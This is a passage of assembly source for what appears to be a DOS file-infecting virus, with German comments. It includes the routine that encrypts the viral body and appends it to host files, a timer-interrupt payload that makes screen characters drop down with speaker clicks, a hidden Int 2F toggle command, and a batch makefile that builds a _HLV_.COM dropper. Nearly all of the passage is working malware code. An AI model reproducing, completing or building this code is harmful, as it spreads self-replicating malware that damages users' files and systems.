  679. XI_034:     MOV    CS:[Crypt3],EnCrptd        ;
  680.         MOV    ES,AX                ;
  681.         MOV_S    DS,CS                ;
  682.         XOR    DI,DI                ;
  683.         MOV    SI,PSPsize            ;
  684.         MOV    CX,OFFSET EOFC            ;
  685.         CLD                    ;
  686.         REPZ    MOVSB                ;
  687.         MOV    DI,OFFSET XI_003        ;
  688.         MOV    SI,OFFSET XR_001        ;
  689.         ADD    SI,[File_Size_lsb]        ;
  690.         MOV    CX,OFFSET EOFC - OFFSET XI_003    ;
  691. XI_035:     XOR    ES:[DI],SI            ;
  692.         XOR    ES:[DI],CX            ;
  693.         INC    DI                ;
  694.         INC    SI                ;
  695.         LOOP    XI_035                ;
  696.         MOV    DS,AX                ;
  697.         MOV    AH,MS_Write            ;
  698.         XOR    DX,DX                ;
  699.         MOV    CX,OFFSET EOFC            ;
  700.         MSDOS                    ;
  701.         SAVE    F,AX                ;
  702.         MOV    AH,MS_ReleaseMem        ;
  703.         MSDOS                    ;
  704.         REST    AX,F                ;
  705.         MOV_S    DS,CS                ;
  706.         JB    XI_033                ;
  707.         CMP    AX,CX                ;
  708.         JNZ    XI_033                ;
  709.         POP    ES                ;
  710.         CLC                    ;
  711.         RET                    ;
  712. Append_Virus    ENDP                    ;
  713.                             ;
  714. ENDIF                            ;
  715.         comment                 #
  716. ┌──────────────────────────────────────────────────────────────────────────────┐
  717. │    'Zufallszahlen' - Generator.                           │
  718. └──────────────────────────────────────────────────────────────────────────────┘
  719.         #                    ;
  720. Random        PROC    NEAR                ;
  721.         SAVE    DS                ;
  722.         MOV_S    DS,CS                ;
  723.         SAVE    BX,CX,DX,AX            ;
  724.         MOV    CX,7                ;
  725.         MOV    BX,offset LastRandom        ;
  726.         PUSH    [BX]                ;
  727. XI_036:     MOV    AX,[BX-02]            ;
  728.         ADC    [BX],AX             ;
  729.         DEC    BX                ;
  730.         DEC    BX                ;
  731.         LOOP    XI_036                ;
  732.         POP    AX                ;
  733.         ADC    [BX],AX             ;
  734.         MOV    DX,[BX]             ;
  735.         POP    AX                ;
  736.         OR    AX,AX                ;
  737.         JZ    XI_037                ;
  738.         MUL    DX                ;
  739. XI_037:     MOV    AX,DX                ;
  740.         REST    DX,CX,BX,DS            ;
  741.         RET                    ;
  742. Random        ENDP                    ;
  743.         comment                 #
  744. ┌──────────────────────────────────────────────────────────────────────────────┐
  745. │    Zeichen und Attribut aus Videospeicher auslesen.               │
  746. └──────────────────────────────────────────────────────────────────────────────┘
  747.         #                    ;
  748. Load_from_VRAM    PROC    NEAR                ;
  749.         SAVE    SI,DS,DX            ;
  750.         MOV    AL,DH                ;
  751.         MUL    [Num_of_Col]            ;
  752.         MOV    DH,0                ;
  753.         ADD    AX,DX                ;
  754.         SHL    AX,1                ;
  755.         ADD    AX,[Page_offset]        ;
  756.         MOV    SI,AX                ;
  757.         TEST    [Prevent_Snow?],-1        ;
  758.         MOV    DS,[Seg_of_VRAM]        ;
  759.         JZ    XI_038                ;
  760.         Wait_HRI_or_VRI             ;
  761. XI_038:     LODSW                    ;
  762.         STI                    ;
  763.         REST    DX,DS,SI            ;
  764.         RET                    ;
  765. Load_from_VRAM    ENDP                    ;
  766.         comment                 #
  767. ┌──────────────────────────────────────────────────────────────────────────────┐
  768. │    Zeichen und Attribut (AX) in den Videospeicher schreiben.              │
  769. └──────────────────────────────────────────────────────────────────────────────┘
  770.         #                    ;
  771. Write_to_VRAM    PROC    NEAR                ;
  772.         SAVE    DI,ES,DX,BX            ;
  773.         MOV    BX,AX                ;
  774.         MOV    AL,DH                ;
  775.         MUL    [Num_of_Col]            ;
  776.         MOV    DH,0                ;
  777.         ADD    AX,DX                ;
  778.         SHL    AX,1                ;
  779.         ADD    AX,[Page_offset]        ;
  780.         MOV    DI,AX                ;
  781.         TEST    [Prevent_Snow?],-1        ;
  782.         MOV    ES,[Seg_of_VRAM]        ;
  783.         JZ    XI_039                ;
  784.         Wait_HRI_or_VRI             ;
  785. XI_039:     MOV    AX,BX                ;
  786.         STOSB                    ;
  787.         STI                    ;
  788.         REST    BX,DX,ES,DI            ;
  789.         RET                    ;
  790. Write_to_VRAM    ENDP                    ;
  791.         comment                 #
  792. ┌──────────────────────────────────────────────────────────────────────────────┐
  793. │    Bit 0 von Port B des 8255 Chips zurücksetzen (IO-Adresse : &H61 ).     │
  794. └──────────────────────────────────────────────────────────────────────────────┘
  795.         #                    ;
  796. Toggle_Speaker    PROC    NEAR                ;
  797.         PUSH    AX                ;
  798.         IN    AL,PORT_B_8255            ;
  799.         XOR    AL,02                ;
  800.         AND    AL,0FE                ;
  801.         OUT    PORT_B_8255,AL            ;
  802.         POP    AX                ;
  803.         RET                    ;
  804. Toggle_Speaker    ENDP                    ;
  805.         comment                 #
  806. ┌──────────────────────────────────────────────────────────────────────────────┐
  807. │    CF gesetzt, wenn AL ein nicht darstellbares Zeichen enthält.           │
  808. └──────────────────────────────────────────────────────────────────────────────┘
  809.         #                    ;
  810. Is_it_blank_?    PROC    NEAR                ;
  811.         CMP    AL,0                ;
  812.         JZ    XI_040                ;
  813.         CMP    AL,20                ;
  814.         JZ    XI_040                ;
  815.         CMP    AL,-1                ;
  816.         JZ    XI_040                ;
  817.         CLC                    ;
  818.         RET                    ;
  819. XI_040:     STC                    ;
  820.         RET                    ;
  821. Is_it_blank_?    ENDP                    ;
  822.         comment                 #
  823. ┌──────────────────────────────────────────────────────────────────────────────┐
  824. │    CF gesetzt, wenn AL ein Zeichen aus dem Linienzeichensatz enthält.     │
  825. └──────────────────────────────────────────────────────────────────────────────┘
  826.         #                    ;
  827. Spec_Graphik?    PROC    NEAR                ;
  828.         CMP    AL,0B0                ;
  829.         JB    XI_041                ;
  830.         CMP    AL,0DF                ;
  831.         JA    XI_041                ;
  832.         STC                    ;
  833.         RET                    ;
  834. XI_041:     CLC                    ;
  835.         RET                    ;
  836. Spec_Graphik?    ENDP                    ;
  837.         comment                 #
  838. ┌──────────────────────────────────────────────────────────────────────────────┐
  839. │    Geschwindigkeit der Maschine ( zur Verwendung in DELAY ) ermitteln.    │
  840. └──────────────────────────────────────────────────────────────────────────────┘
  841.         #                    ;
  842. GetSysSpeed    PROC    NEAR                ;
  843.         PUSH    DS                ;
  844.         MOV    AX,BIOSDATASEG            ;
  845.         MOV    DS,AX                ;
  846.         STI                    ;
  847.         MOV    AX,[B_TIMERVAR]         ;
  848. XI_042:     CMP    AX,[B_TIMERVAR]         ;
  849.         JZ    XI_042                ;
  850.         XOR    CX,CX                ;
  851.         MOV    AX,[B_TIMERVAR]         ;
  852. XI_043:     INC    CX                ;
  853.         JZ    XI_045                ;
  854.         CMP    AX,[B_TIMERVAR]         ;
  855.         JZ    XI_043                ;
  856. XI_044:     POP    DS                ;
  857.         MOV    AX,CX                ;
  858.         XOR    DX,DX                ;
  859.         MOV    CX,0F                ;
  860.         DIV    CX                ;
  861.         MOV    CS:[Speed],AX            ;
  862.         RET                    ;
  863. XI_045:     DEC    CX                ;
  864.         JMP    XI_044                ;
  865. GetSysSpeed    ENDP                    ;
  866.         comment                 #
  867. ┌──────────────────────────────────────────────────────────────────────────────┐
  868. │    Verzögern ( Verzögerungszeit ist kaum maschinenabhängig ).             │
  869. └──────────────────────────────────────────────────────────────────────────────┘
  870.         #                    ;
  871. Delay        PROC    NEAR                ;
  872.         PUSH    CX                ;
  873. XI_046:     PUSH    CX                ;
  874.         MOV    CX,[Speed]            ;
  875. XI_047:     LOOP    XI_047                ;
  876.         POP    CX                ;
  877.         LOOP    XI_046                ;
  878.         POP    CX                ;
  879.         RET                    ;
  880. Delay        ENDP                    ;
  881.         comment                 #
  882. ┌──────────────────────────────────────────────────────────────────────────────┐
  883. │    Eine neue Interrupt 1C(h) Behandlungsroutine.                   │
  884. └──────────────────────────────────────────────────────────────────────────────┘
  885.         #                    ;
  886. XI_048        LABEL    NEAR                ;
  887. XR_009        EQU    XI_048 + PSPsize        ;----------;
  888.         TEST    CS:[ISR_Flags],MASK R_in_1c OR MASK ExtCom ;
  889.         JZ    XI_049                ;----------;
  890.         JMP    XI_067                ;
  891. XI_049:     OR    CS:[ISR_Flags],MASK R_in_1c    ;
  892.         DEC    CS:[XR_002]            ;
  893.         JZ    XI_050                ;
  894.         JMP    XI_066                ;
  895. XI_050:     SAVE    DS,ES                ;
  896.         MOV_S    DS,CS                ;
  897.         MOV_S    ES,CS                ;
  898.         SAVE    AX,BX,CX,DX,SI,DI,BP        ;
  899.         MOV    AL,EOI_8259A            ;
  900.         OUT    PORT_B_8259A,AL         ;
  901.         MOV    AX,[XR_003]            ;
  902.         CMP    AX,0438             ;
  903.         JNB    XI_051                ;
  904.         MOV    AX,0438             ;
  905. XI_051:     CALL    Random                ;
  906.         INC    AX                ;
  907.         MOV    [XR_002],AX            ;
  908.         MOV    [XR_003],AX            ;
  909.         PUSH    DS                ;
  910.         MOV    AX,BIOSDATASEG            ;
  911.         MOV    DS,AX                ;
  912.         MOV    AX,[B_VidPage]            ;
  913.         POP    DS                ;
  914.         MOV    [Page_offset],AX        ;
  915.         MOV    [Last_Line],18            ;
  916.         MOV    DL,-1                ;
  917.         MOV    AX,1130             ;
  918.         MOV    BH,0                ;
  919.         SAVE    ES,BP                ;
  920.         INT    10                ;
  921.         REST    BP,ES                ;
  922.         CMP    DL,-1                ;
  923.         JZ    XI_052                ;
  924.         MOV    [Last_Line],DL            ;
  925. XI_052:     CALL    GetSysSpeed            ;
  926.         MOV    AH,0F                ;
  927.         INT    10                ;
  928.         MOV    [Num_of_Col],AH         ;
  929.         MOV    [Prevent_Snow?],0        ;
  930.         MOV    [Seg_of_VRAM],MonoBase        ;
  931.         CMP    AL,07                ;
  932.         JZ    XI_054                ;
  933.         JB    XI_053                ;
  934.         JMP    XI_064                ;
  935. XI_053:     MOV    [Seg_of_VRAM],ColorBase     ;
  936.         CMP    AL,03                ;
  937.         JA    XI_054                ;
  938.         CMP    AL,02                ;
  939.         JB    XI_054                ;
  940.         MOV    [Prevent_Snow?],01        ;
  941.         MOV    AL,[Last_Line]            ;
  942.         INC    AL                ;
  943.         MUL    [Num_of_Col]            ;
  944.         MOV    [Num_of_char],AX        ;
  945.         MOV    AX,[XR_004]            ;
  946.         CMP    AX,[Num_of_char]        ;
  947.         JBE    XI_054                ;
  948.         MOV    AX,[Num_of_char]        ;
  949. XI_054:     CALL    Random                ;
  950.         INC    AX                ;
  951.         MOV    SI,AX                ;
  952. XI_055:     XOR    DI,DI                ;
  953. XI_056:     INC    DI                ;
  954.         MOV    AX,[Num_of_char]        ;
  955.         SHL    AX,1                ;
  956.         CMP    DI,AX                ;
  957.         JBE    XI_057                ;
  958.         JMP    XI_064                ;
  959. XI_057:     OR    [ISR_Flags],MASK Recf_1     ;
  960.         MOV    AL,[Num_of_Col]         ;
  961.         MOV    AH,0                ;
  962.         CALL    Random                ;
  963.         MOV    DL,AL                ;
  964.         MOV    AL,[Last_Line]            ;
  965.         MOV    AH,0                ;
  966.         CALL    Random                ;
  967.         MOV    DH,AL                ;
  968.         CALL    Load_from_VRAM            ;
  969.         CALL    Is_it_blank_?            ;
  970.         JB    XI_056                ;
  971.         CALL    Spec_Graphik?            ;
  972.         JB    XI_056                ;
  973.         MOV    [Last_Pair],AX            ;
  974.         MOV    CL,[Last_Line]            ;
  975.         MOV    CH,0                ;
  976. XI_058:     INC    DH                ;
  977.         CMP    DH,[Last_Line]            ;
  978.         JA    XI_062                ;
  979.         CALL    Load_from_VRAM            ;
  980.         CMP    AH,[Last_Attr]            ;
  981.         JNZ    XI_062                ;
  982.         CALL    Is_it_blank_?            ;
  983.         JB    XI_060                ;
  984. XI_059:     CALL    Spec_Graphik?            ;
  985.         JB    XI_062                ;
  986.         INC    DH                ;
  987.         CMP    DH,[Last_Line]            ;
  988.         JA    XI_062                ;
  989.         CALL    Load_from_VRAM            ;
  990.         CMP    AH,[Last_Attr]            ;
  991.         JNZ    XI_062                ;
  992.         CALL    Is_it_blank_?            ;
  993.         JNB    XI_059                ;
  994.         CALL    Toggle_Speaker            ;
  995.         DEC    DH                ;
  996.         CALL    Load_from_VRAM            ;
  997.         MOV    [Last_Char],AL            ;
  998.         INC    DH                ;
  999. XI_060:     AND    [ISR_Flags],NOT MASK Recf_1    ;
  1000.         DEC    DH                ;
  1001.         MOV    AL,' '                ;
  1002.         CALL    Write_to_VRAM            ;
  1003.         INC    DH                ;
  1004.         MOV    AL,[Last_Char]            ;
  1005.         CALL    Write_to_VRAM            ;
  1006.         JCXZ    XI_061                ;
  1007.         CALL    Delay                ;
  1008.         DEC    CX                ;
  1009. XI_061:     JMP    XI_058                ;
  1010. XI_062:     TEST    [ISR_Flags],MASK Recf_1     ;
  1011.         JZ    XI_063                ;
  1012.         JMP    XI_056                ;
  1013. XI_063:     CALL    Toggle_Speaker            ;
  1014.         DEC    SI                ;
  1015.         JZ    XI_064                ;
  1016.         JMP    XI_055                ;
  1017. XI_064:     IN    AL,PORT_B_8255            ;
  1018.         AND    AL,0FC                ;
  1019.         OUT    PORT_B_8255,AL            ;
  1020.         MOV    AX,3                ;
  1021.         CALL    Random                ;
  1022.         INC    AX                ;
  1023.         MUL    [XR_004]            ;
  1024.         JNB    XI_065                ;
  1025.         MOV    AX,-1                ;
  1026. XI_065:     MOV    [XR_004],AX            ;
  1027.         REST    BP,DI,SI,DX,CX,BX,AX,ES,DS    ;
  1028. XI_066:     AND    CS:[ISR_Flags],NOT MASK R_in_1c ;
  1029. XI_067:     JMP    DWORD PTR CS:[Org_Int_1C]    ;
  1030.                             ;
  1031. IF    SWITCHABLE                    ;
  1032.                             ;
  1033.         comment                 #
  1034. ┌──────────────────────────────────────────────────────────────────────────────┐
  1035. │    Implementierung eines neuen in CMD_2F definierten internen Befehls.    │
  1036. └──────────────────────────────────────────────────────────────────────────────┘
  1037.         #                    ;
  1038. XI_068        Label    Near                ;
  1039. Int_2F_ISR    EQU    XI_068 + PSPsize        ;
  1040.         CMP    AH,0AEH             ;
  1041.         JNZ    Int_2F_end            ;
  1042.         CMP    DX,-1                ;
  1043.         JNZ    Int_2F_end            ;
  1044.         CMP    AL,0                ;
  1045.         JNZ    Int_2F_2nd            ;
  1046.         CALL    Decode_2F            ;
  1047.         JNZ    Int_2F_end            ;
  1048.         DEC    AL                ;
  1049.         IRET                    ;
  1050. Int_2F_2nd:    CMP    AL,1                ;
  1051.         JNZ    Int_2F_end            ;
  1052.         CALL    Decode_2F            ;
  1053.         JNZ    Int_2F_end            ;
  1054.         SAVE    DS,DX,AX            ;
  1055.         MOV_S    DS,CS                ;
  1056.         XOR    [ISR_Flags],MASK ExtCom     ;
  1057.         MOV    DX,OFFSET MSG_ON        ;
  1058.         TEST    [ISR_Flags],MASK ExtCom     ;
  1059.         JZ    XI_069                ;
  1060.         MOV    DX,OFFSET MSG_OFF        ;
  1061. XI_069:     MOV    AH,9                ;
  1062.         MSDOS                    ;
  1063.         REST    AX,DX,DS            ;
  1064.         AND    BYTE PTR [SI],0         ;
  1065.         IRET                    ;
  1066. Int_2F_end:    JMP    DWORD PTR CS:[Org_Int_2F]    ;
  1067.         comment                 #
  1068. ┌──────────────────────────────────────────────────────────────────────────────┐
  1069. │    Überprüfen, ob der in CMD_2F definierte Befehl angesprochen wurde.     │
  1070. └──────────────────────────────────────────────────────────────────────────────┘
  1071.         #                    ;
  1072. Decode_2F    PROC    NEAR                ;
  1073.         SAVE    SI,DI,ES,CX            ;
  1074.         MOV    CX,05                ;
  1075.         MOV_S    ES,CS                ;
  1076.         MOV    DI,OFFSET Cmd_2F        ;
  1077.         CLD                    ;
  1078.         REPE    CMPSW                ;
  1079.         REST    CX,ES,DI,SI            ;
  1080.         RET                    ;
  1081. Decode_2F    ENDP                    ;
  1082.                             ;
  1083. ENDIF                            ;
  1084.         comment                 #
  1085. ┌──────────────────────────────────────────────────────────────────────────────┐
  1086. │    Okay, das war's. Zum Schluß noch einige Definitionen.               │
  1087. └──────────────────────────────────────────────────────────────────────────────┘
  1088.         #                    ;
  1089. EOFC        EQU    THIS WORD            ;
  1090. XR_010        EQU    OFFSET EOFC - 1 + FIRSTBASE    ;
  1091. TEXT        ENDS                    ;
  1092. IF2                            ;----------------;
  1093. %Out    ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  1094. %Out    ╚════════ (C) 1990 164A12565AA18213165556D3125C4B962712 ═════════╝
  1095. ENDIF                                     ;
  1096. comment                                  #
  1097. ╔══════════════════════════════════════════════════════════════════════════════╗
  1098. ║                                           ║
  1099. ║ So könnte ein Batch - Makefile aussehen :                                    ║
  1100. ║                                                                              ║
  1101. ║ @cls                                                                         ║
  1102. ║ @if  %1.==.                     goto nopar                                   ║
  1103. ║ @if  not exist %1.asm           goto noasm                                   ║
  1104. ║ @ctty nul                                                                    ║
  1105. ║ @del %1.obj                                                                  ║
  1106. ║ @del %1.lst                                                                  ║
  1107. ║ @del %1.crf                                                                  ║
  1108. ║ @del %1.ref                                                                  ║
  1109. ║ @del %1.map                                                                  ║
  1110. ║ @del %1.exe                                                                  ║
  1111. ║ @del %1.bin                                                                  ║
  1112. ║ @del _HLV_.COM                                                               ║
  1113. ║ @ctty con                                                                    ║
  1114. ║ @masm /b63 %1,,%1,%1 %2 %3 %4;                                               ║
  1115. ║ @if not exist %1.obj            goto masm_err                                ║
  1116. ║ @link %1,,%1;                                                                ║
  1117. ║ @if not exist %1.exe            goto link_err                                ║
  1118. ║ @exe2bin %1;                                                                 ║
  1119. ║ @if not exist %1.bin            goto exe2_err                                ║
  1120. ║ @cref %1;                                                                    ║
  1121. ║ @if not exist %1.ref            goto cref_err                                ║
  1122. ║ @echo               >> %1.lst                                      ║
  1123. ║ @copy %1.lst+%1.map+%1.ref %1.t >  nul                                       ║
  1124. ║ @del %1.lst             >  nul                                         ║
  1125. ║ @ren %1.t %1.lst         >  nul                                         ║
  1126. ║ @del %1.obj             >  nul                                         ║
  1127. ║ @del %1.crf             >  nul                                         ║
  1128. ║ @del %1.ref             >  nul                                         ║
  1129. ║ @del %1.map             >  nul                                         ║
  1130. ║ @del %1.exe             >  nul                                         ║
  1131. ║ @echo n %1.bin              >  md.inp                                      ║
  1132. ║ @echo l 11f                 >> md.inp                                      ║
  1133. ║ @echo a 110                 >> md.inp                                      ║
  1134. ║ @echo add cx,20             >> md.inp                                      ║
  1135. ║ @echo.                      >> md.inp                                      ║
  1136. ║ @echo g =110 113            >> md.inp                                      ║
  1137. ║ @echo f 110 11e 20          >> md.inp                                      ║
  1138. ║ @echo e 110 '%1'            >> md.inp                                      ║
  1139. ║ @echo f 100 10f 90          >> md.inp                                      ║
  1140. ║ @echo a 100                 >> md.inp                                      ║
  1141. ║ @echo jmp 120               >> md.inp                                      ║
  1142. ║ @echo nop                   >> md.inp                                      ║
  1143. ║ @echo nop                   >> md.inp                                      ║
  1144. ║ @echo nop                   >> md.inp                                      ║
  1145. ║ @echo mov ax,4c00           >> md.inp                                      ║
  1146. ║ @echo int 21                >> md.inp                                      ║
  1147. ║ @echo.                      >> md.inp                                      ║
  1148. ║ @echo n _HLV_.com           >> md.inp                                      ║
  1149. ║ @echo w                     >> md.inp                                      ║
  1150. ║ @echo q                     >> md.inp                                      ║
  1151. ║ @debug                      <  md.inp  > nul                               ║
  1152. ║ @cls                                                                         ║
  1153. ║ @echo.                                                                       ║
  1154. ║ @echo   ╔════════════════════════════════════════════════════════════════╗   ║
  1155. ║ @echo   ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║   ║
  1156. ║ @echo   ║░░░░░░░MAKEHLV erfolgreich beendet, _HLV_.com wurde erstellt.░░░║   ║
  1157. ║ @echo   ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║   ║
  1158. ║ @echo   ╚════════════════════════════════════════════════════════════════╝   ║
  1159. ║ @echo.                                                                       ║
  1160. ║ @goto ende                                                                   ║
  1161. ║ :nopar                                                                       ║
  1162. ║ @echo FEHLER !    Mindestens ein Parameter ist erforderlich !                ║
  1163. ║ @echo Syntax :    MAKEHLV asmfile [switches]                                 ║
  1164. ║ @goto ende                                                                   ║
  1165. ║ :noasm                                                                       ║
  1166. ║ @echo FEHLER !    Die Datei %1.ASM ist nicht zu finden !                     ║
  1167. ║ @goto ende                                                                   ║
  1168. ║ :masm_err                                                                    ║
  1169. ║ @echo FEHLER !    %1.OBJ konnte nicht erstellt werden !                      ║
  1170. ║ @goto ende                                                                   ║
  1171. ║ :link_err                                                                    ║
  1172. ║ @echo FEHLER !    %1.EXE konnte nicht erstellt werden !                      ║
  1173. ║ @goto ende                                                                   ║
  1174. ║ :exe2_err                                                                    ║
  1175. ║ @echo FEHLER !    %1.BIN konnte nicht erstellt werden !                      ║
  1176. ║ @goto ende                                                                   ║
  1177. ║ :cref_err                                                                    ║
  1178. ║ @echo FEHLER !    %1.REF konnte nicht erstellt werden !                      ║
  1179. ║ :ende                                                                        ║
  1180. ║                                           ║
  1181. ╚══════════════════════════════════════════════════════════════════════════════╝
  1182. #
  1183. END
  1184.